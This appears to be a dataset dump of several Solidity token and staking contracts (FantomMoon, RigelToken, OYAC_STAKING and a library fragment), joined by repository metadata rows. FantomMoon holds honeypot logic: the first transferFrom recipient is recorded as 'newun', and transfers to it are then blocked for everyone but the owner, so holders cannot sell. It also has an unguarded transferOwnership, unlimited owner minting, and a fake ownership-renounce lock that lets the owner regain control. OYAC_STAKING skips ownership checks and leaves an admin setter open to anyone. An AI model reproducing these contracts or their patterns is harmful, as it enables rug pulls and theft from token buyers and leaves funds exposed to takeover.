modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual {
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FantomMoon is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 160000000 * 10**9;
string private _symbol = "FTMMOON";
string private _name = "FantomMoon";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
| 323,801 | 13,429 |
134b8de5f46367d1345f9eff8c18956276c1489abac5b70c23fb88ae538da96c
| 22,546 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/59/59f48ce93eb317f4628c68bbcf6cb7937a25662d_RigelToken.sol
| 2,855 | 11,996 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// File: @openzeppelin/contracts/token/BEP20/IBEP20.sol
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File: contracts/RigelToken.sol
contract Owned is Context {
address public _owner;
address public _newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(_msgSender() == _owner, "RigelToken: Only Owner can perform this task");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_newOwner = newOwner;
}
function acceptOwnership() public {
require(_msgSender() == _newOwner, "RigelToken: Token Contract Ownership has not been set for the address");
emit OwnershipTransferred(_owner, _newOwner);
_owner = _newOwner;
_newOwner = address(0);
}
}
contract RigelToken is IBEP20, Owned {
using SafeMath for uint256;
mapping (address => uint256) private _balances; // Total balance per address (locked + unlocked)
mapping (address => uint256) private _unlockedTokens; // Unlocked Tokens, available for transfer
mapping (address => mapping (address => uint256)) private _allowances;
struct LockRecord {
uint256 lockingPeriod;
uint256 tokens;
bool isUnlocked;
}
mapping(address => LockRecord[]) private records; // Record of Locking periods and tokens per address
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(address owner) public {
_name = "RigelToken";
_symbol = "RGP";
_decimals = 18;
_totalSupply = 20000000 * (10 ** 18);
_owner = owner;
_balances[_owner] = _totalSupply;
_unlockedTokens[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function unLockedBalanceOf(address account) public view returns (uint256) {
return _unlockedTokens[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(),recipient,amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
require(spender != address(0), "RigelToken: approve to the zero address");
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender,recipient,amount);
require(amount <= _allowances[sender][_msgSender()],"RigelToken: Check for approved token count failed");
_allowances[sender][_msgSender()] = _allowances[sender][_msgSender()].sub(amount);
emit Approval(sender, _msgSender(), _allowances[sender][_msgSender()]);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(recipient != address(0),"RigelToken: Cannot have recipient as zero address");
require(sender != address(0),"RigelToken: Cannot have sender as zero address");
require(_balances[sender] >= amount,"RigelToken: Insufficient Balance");
require(_balances[recipient] + amount >= _balances[recipient],"RigelToken: Balance check failed");
// update the unlocked tokens based on time if required
_updateUnLockedTokens(sender, amount);
_unlockedTokens[sender] = _unlockedTokens[sender].sub(amount);
_unlockedTokens[recipient] = _unlockedTokens[recipient].add(amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender,recipient,amount);
}
function _transferLock(address sender, address recipient, uint256 amount) private {
require(recipient != address(0),"RigelToken: Cannot have recipient as zero address");
require(sender != address(0),"RigelToken: Cannot have sender as zero address");
require(_balances[sender] >= amount,"RigelToken: Insufficient Balance");
require(_balances[recipient] + amount >= _balances[recipient],"RigelToken: Balance check failed");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
_unlockedTokens[sender] = _unlockedTokens[sender].sub(amount);
emit Transfer(sender,recipient,amount);
}
function burn(address account, uint256 amount) public onlyOwner {
require(account != address(0), "RigelToken: burn from the zero address");
if(_balances[account] == _unlockedTokens[account]){
_unlockedTokens[account] = _unlockedTokens[account].sub(amount, "RigelToken: burn amount exceeds balance");
}
_balances[account] = _balances[account].sub(amount, "RigelToken: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
if(account != _msgSender()){
require(amount <= _allowances[account][_msgSender()],"RigelToken: Check for approved token count failed");
_allowances[account][_msgSender()] = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
emit Approval(account, _msgSender(), _allowances[account][_msgSender()]);
}
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's _msgSender() to `to` _msgSender()
// - Owner's _msgSender() must have sufficient balance to transfer
// - 0 value transfers are allowed
// - takes in locking Period to lock the tokens to be used
// - if want to transfer without locking enter 0 in lockingPeriod argument
// ------------------------------------------------------------------------
function distributeTokens(address to, uint tokens, uint256 lockingPeriod) onlyOwner public returns (bool success) {
// if there is no lockingPeriod, add tokens to _unlockedTokens per address
if(lockingPeriod == 0)
_transfer(_msgSender(),to, tokens);
// if there is a lockingPeriod, add tokens to record mapping
else
_transferLock(_msgSender(),to, tokens);
_addRecord(to, tokens, lockingPeriod);
return true;
}
// ------------------------------------------------------------------------
// Adds record of addresses with locking period and tokens to lock
// ------------------------------------------------------------------------
function _addRecord(address to, uint tokens, uint256 lockingPeriod) private {
records[to].push(LockRecord(lockingPeriod,tokens, false));
}
// ------------------------------------------------------------------------
// Checks if there is required amount of unLockedTokens available
// ------------------------------------------------------------------------
function _updateUnLockedTokens(address _from, uint tokens) private returns (bool success) {
// if _unlockedTokens are greater than "tokens" of "to", initiate transfer
if(_unlockedTokens[_from] >= tokens){
return true;
}
else{
_updateRecord(_from);
// check if _unlockedTokens are greater than "token" of "to", initiate transfer
if(_unlockedTokens[_from] >= tokens){
return true;
}
// otherwise revert
else{
revert("RigelToken: Insufficient unlocked tokens");
}
}
}
// ------------------------------------------------------------------------
// Unlocks the coins if lockingPeriod is expired
// ------------------------------------------------------------------------
function _updateRecord(address account) private returns (bool success){
LockRecord[] memory tempRecords = records[account];
uint256 unlockedTokenCount = 0;
for(uint256 i=0; i < tempRecords.length; i++){
if(tempRecords[i].lockingPeriod < now && tempRecords[i].isUnlocked == false){
unlockedTokenCount = unlockedTokenCount.add(tempRecords[i].tokens);
tempRecords[i].isUnlocked = true;
records[account][i] = LockRecord(tempRecords[i].lockingPeriod, tempRecords[i].tokens, tempRecords[i].isUnlocked);
}
}
_unlockedTokens[account] = _unlockedTokens[account].add(unlockedTokenCount);
return true;
}
}
| 124,479 | 13,430 |
113c7e5904149f12bab936bbb2578dcf42f271f0cb5ac395a26b6ee6ddacdbd7
| 16,099 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/b2/b22c7744ab60dD133d512B646e1472d97B18d1c1_OYAC_STAKING.sol
| 4,218 | 15,279 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnbyContract(uint256 _amount) external;
function withdrawStakingReward(address _address,uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface gen_1{
function isStaked(address LockedUser) external view returns(bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed LockedTokenid);
event Approval(address indexed owner, address indexed approved, uint256 indexed LockedTokenid);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 LockedTokenid) external view returns (address owner);
function safeTransferFrom(address from,address to,uint256 LockedTokenid) external;
function transferFrom(address from,address to,uint256 LockedTokenid) external;
function approve(address to, uint256 LockedTokenid) external;
function getApproved(uint256 LockedTokenid) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,address to,uint256 LockedTokenid,bytes calldata data) external;
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SignVerify {
/// signature methods.
function splitSignature(bytes memory sig)
internal
pure
returns (uint8 v, bytes32 r, bytes32 s)
{
require(sig.length == 65);
assembly {
// first 32 bytes, after the length prefix.
r := mload(add(sig, 32))
// second 32 bytes.
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes).
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
function recoverSigner(bytes32 hash, bytes memory signature)
internal
pure
returns (address)
{
// bytes32 message = prefixed(keccak256(abi.encodePacked(msg.sender, amount, nonce, this)));
(uint8 v, bytes32 r, bytes32 s) = splitSignature(signature);
return ecrecover(hash, v, r, s);
}
function toString(address account) public pure returns (string memory) {
return toString(abi.encodePacked(account));
}
function toString(bytes memory data) internal pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(2 + data.length * 2);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < data.length; i++) {
str[2 + i * 2] = alphabet[uint256(uint8(data[i] >> 4))];
str[3 + i * 2] = alphabet[uint256(uint8(data[i] & 0x0f))];
}
return string(str);
}
}
contract OYAC_STAKING is Ownable,SignVerify{
//////////// Variables ////////////
using SafeMath for uint256;
IERC721 public NFT;
IERC20 public Token;
gen_1 public GEN_1;
address public DutuchAuction;
//////////// Locked - Structure ////////////
struct LockeduserInfo
{
uint256 totlaWithdrawn;
uint256 totalStaked;
uint256 lockedAvaialable;
}
//////////// Locked - Mapping ////////////
mapping(address => LockeduserInfo) public LockedUser;
mapping(address => mapping(uint256 => uint256)) public LockedstakingTime;
mapping(address => uint256[]) public LockedTokenid;
mapping(address => uint256) public LockedtotalStakedNft;
mapping(uint256 => bool) public LockedalreadyAwarded;
mapping(address => mapping(uint256=>uint256)) public lockeddepositTime;
uint256 Time= 20 seconds;
uint256 LockingTime= 60 seconds;
uint256 maxNoOfDays = 3;
constructor(IERC721 _NFTToken,IERC20 _token,gen_1 _gen_1)
{
NFT =_NFTToken;
Token=_token;
GEN_1 = _gen_1;
}
modifier onlyDuctch() {
require(msg.sender == DutuchAuction , "Caller is not from Ductch Auction");
_;
}
function add_Dutch_address(address _dutuch) public {
DutuchAuction = _dutuch;
}
//////////// Locked Staking ////////////
function lockedStaking(uint256 _Tokenid, address _user) external
onlyDuctch
{
LockedTokenid[_user].push(_Tokenid);
LockedstakingTime[_user][_Tokenid]=block.timestamp;
if(!LockedalreadyAwarded[_Tokenid]){
lockeddepositTime[_user][_Tokenid]=block.timestamp;
}
LockedUser[_user].totalStaked+=1;
LockedtotalStakedNft[_user]+=1;
}
//////////// Reward Check Function ////////////
function lockedCalcTime(uint256 Tid) public view returns(uint256) {
uint256 noOfDays;
if(LockedstakingTime[msg.sender][Tid] > 0) {
noOfDays = (block.timestamp.sub(LockedstakingTime[msg.sender][Tid])).div(Time);
if (noOfDays > maxNoOfDays) {
noOfDays = maxNoOfDays;
}
else{
noOfDays = 0;
}
}
return noOfDays;
}
function lockedperNFTReward(address addrs) public view returns(uint256) {
bool check = GEN_1.isStaked(addrs);
uint256 rewardPerNFT;
if(check == true) {
rewardPerNFT = 15 ether;
}
else {
rewardPerNFT = 10 ether;
}
return rewardPerNFT;
}
function lockedSingleReward(address Add, uint256 Tid) public view returns(uint256) {
uint256 single_reward;
uint256 noOfDays;
uint256 rewardPerNFT = lockedperNFTReward(Add);
for (uint256 i=0; i<LockedTokenid[Add].length; i++){
uint256 _index=findlocked(Tid);
if(LockedalreadyAwarded[LockedTokenid[msg.sender][_index]] != true &&LockedTokenid[Add][i] == Tid && LockedTokenid[Add][i] > 0) {
noOfDays = lockedCalcTime(Tid);
if (noOfDays == maxNoOfDays){
single_reward = (rewardPerNFT).mul(noOfDays);
}
else if(noOfDays != maxNoOfDays) {
noOfDays = 0;
single_reward = (rewardPerNFT).mul(noOfDays);
}
}
}
return single_reward;
}
function lockedtotalReward(address Add) public view returns(uint256){
uint256 ttlReward;
for (uint256 i=0; i< LockedTokenid[Add].length; i++){
ttlReward += lockedSingleReward(Add, LockedTokenid[Add][i]);
}
return ttlReward;
}
//////////// Withdraw-Reward ////////////
function WithdrawLockedReward() public {
uint256 totalReward = lockedtotalReward(msg.sender) +
LockedUser[msg.sender].lockedAvaialable;
require(totalReward > 0,"you don't have reward yet!");
Token.withdrawStakingReward(msg.sender, totalReward);
for(uint256 i=0; i < LockedTokenid[msg.sender].length;i++){
uint256 _index=findlocked(LockedTokenid[msg.sender][i]);
LockedalreadyAwarded[LockedTokenid[msg.sender][_index]]=true;
// if(lockedCalcTime(LockedTokenid[msg.sender][i])==maxNoOfDays){
// LockedstakingTime[msg.sender][LockedTokenid[msg.sender][i]]=0;
// }
}
LockedUser[msg.sender].lockedAvaialable = 0;
LockedUser[msg.sender].totlaWithdrawn += totalReward;
}
//////////// Get index by Value ////////////
function findlocked(uint value) public view returns(uint) {
uint i = 0;
while (LockedTokenid[msg.sender][i] != value) {
i++;
}
return i;
}
//////////// LockedUser have to pass tokenIdS to unstake ////////////
function unstakelocked(uint256[] memory TokenIds) external
{
address nftContract = msg.sender;
for(uint256 i=0; i<TokenIds.length; i++){
uint256 _index=findlocked(TokenIds[i]);
require(lockedCalcTime(LockedTokenid[msg.sender][_index])==maxNoOfDays," TIME NOT REACHED YET ");
require(LockedTokenid[msg.sender][_index] == TokenIds[i] ," NFT WITH THIS LOCKED_TOKEN_ID NOT FOUND ");
LockedUser[msg.sender].lockedAvaialable += lockedSingleReward(msg.sender,TokenIds[i]);
NFT.transferFrom(address(this),address(nftContract),TokenIds[i]);
delete LockedTokenid[msg.sender][_index];
LockedTokenid[msg.sender][_index]=LockedTokenid[msg.sender][LockedTokenid[msg.sender].length-1];
LockedstakingTime[msg.sender][TokenIds[i]]=0;
LockedTokenid[msg.sender].pop();
}
LockedUser[msg.sender].totalStaked -= TokenIds.length;
LockedtotalStakedNft[msg.sender]>0?LockedtotalStakedNft[msg.sender] -= TokenIds.length:LockedtotalStakedNft[msg.sender]=0;
}
//////////// Return All staked Nft's ////////////
function LockeduserNFT_s(address _staker)public view returns(uint256[] memory) {
return LockedTokenid[_staker];
}
function isLockedStaked(address _stakeHolder)public view returns(bool){
if(LockedtotalStakedNft[_stakeHolder]>0){
return true;
}else{
return false;
}
}
//////////// Withdraw Token ////////////
function WithdrawToken()public onlyOwner {
require(Token.transfer(msg.sender,Token.balanceOf(address(this))),"Token transfer Error!");
}
//////////////////////////////// SSTAKING /////////////////////////////////
struct userInfo
{
uint256 totlaWithdrawn;
uint256 totalStaked;
uint256 availableToWithdraw;
}
mapping(address => mapping(uint256 => uint256)) public stakingTime;
mapping(address => userInfo) public User;
mapping(address => uint256[]) public Tokenid;
mapping(address=>uint256) public totalStakedNft;
mapping(uint256=>bool) public alreadyAwarded;
mapping(address=>mapping(uint256=>uint256)) public depositTime;
// Signature //
address public signer;
mapping (bytes32 => bool) public usedHash;
//////////////////////////////////////////
function Stake(uint256[] memory tokenId) external
{
for(uint256 i=0;i<tokenId.length;i++){
// require(NFT.ownerOf(tokenId[i]) == msg.sender,"nft not found");
// NFT.transferFrom(msg.sender,address(this),tokenId[i]);
Tokenid[msg.sender].push(tokenId[i]);
stakingTime[msg.sender][tokenId[i]]=block.timestamp;
if(!alreadyAwarded[tokenId[i]]){
depositTime[msg.sender][tokenId[i]]=block.timestamp;
}
}
User[msg.sender].totalStaked+=tokenId.length;
totalStakedNft[msg.sender]+=tokenId.length;
}
function WithdrawReward(uint256 _reward,uint256 _nonce, bytes memory signature) public
{
require(_reward > 0,"you don't have reward yet!");
require(Token.balanceOf(address(Token))>=_reward,"Contract Don't have enough tokens to give reward");
bytes32 hash = keccak256(abi.encodePacked(toString(address(this)),
toString(msg.sender),
_nonce));
require(!usedHash[hash], "Invalid Hash");
require(recoverSigner(hash, signature) == signer, "Signature Failed");
usedHash[hash] = true;
Token.withdrawStakingReward(msg.sender,_reward);
User[msg.sender].totlaWithdrawn += _reward;
}
function Add_Signer(address _signer) public onlyOwner{
signer = _signer;
}
function find(uint value) internal view returns(uint) {
uint i = 0;
while (Tokenid[msg.sender][i] != value) {
i++;
}
return i;
}
function unstake(uint256[] memory _tokenId) external
{
// User[msg.sender].availableToWithdraw+=rewardOfUser(msg.sender);
// by removing we are unable to capture reward of USER's id
for(uint256 i=0;i<_tokenId.length;i++){
uint256 _index=find(_tokenId[i]);
require(Tokenid[msg.sender][_index] ==_tokenId[i] ,"NFT with this _tokenId not found");
NFT.transferFrom(address(this),msg.sender,_tokenId[i]);
delete Tokenid[msg.sender][_index];
Tokenid[msg.sender][_index]=Tokenid[msg.sender][Tokenid[msg.sender].length-1];
stakingTime[msg.sender][_tokenId[i]]=0;
Tokenid[msg.sender].pop();
}
User[msg.sender].totalStaked-=_tokenId.length;
totalStakedNft[msg.sender]>0?totalStakedNft[msg.sender]-=_tokenId.length:totalStakedNft[msg.sender]=0;
}
function isStaked(address _stakeHolder)public view returns(bool){
if(totalStakedNft[_stakeHolder]>0){
return true;
}else{
return false;
}
}
function userStakedNFT(address _staker)public view returns(uint256[] memory) {
return Tokenid[_staker];
}
// Signer_Address: 0x7D3A326D974496111Bdd18f0c1bC60b3Be865862
}
| 124,308 | 13,431 |
afb7070ab20872aa3c3c704da486d7e007e15dc6e35ed78dc8c360fd510ca1aa
| 14,788 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x9A692d4F97D9b86a1E1725f097114c9f2E542930/contract.sol
| 3,716 | 12,721 |
// SPDX-License-Identifier: MIT
pragma solidity 0.5.17;
// Part: Babylonian
// computes square roots using the babylonian mBnbod
// https://en.wikipedia.org/wiki/MBnbods_of_computing_square_roots#Babylonian_mBnbod
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
// Part: IUniswapV2Pair
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// Part: Ownable
contract Ownable {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
_owner = msg.sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner
function lock() public onlyOwner {
_previousOwner = _owner;
_owner = address(0);
emit OwnershipRenounced(_owner);
}
function unlock() public {
require(_previousOwner == msg.sender, "You dont have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: FixedPoint
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
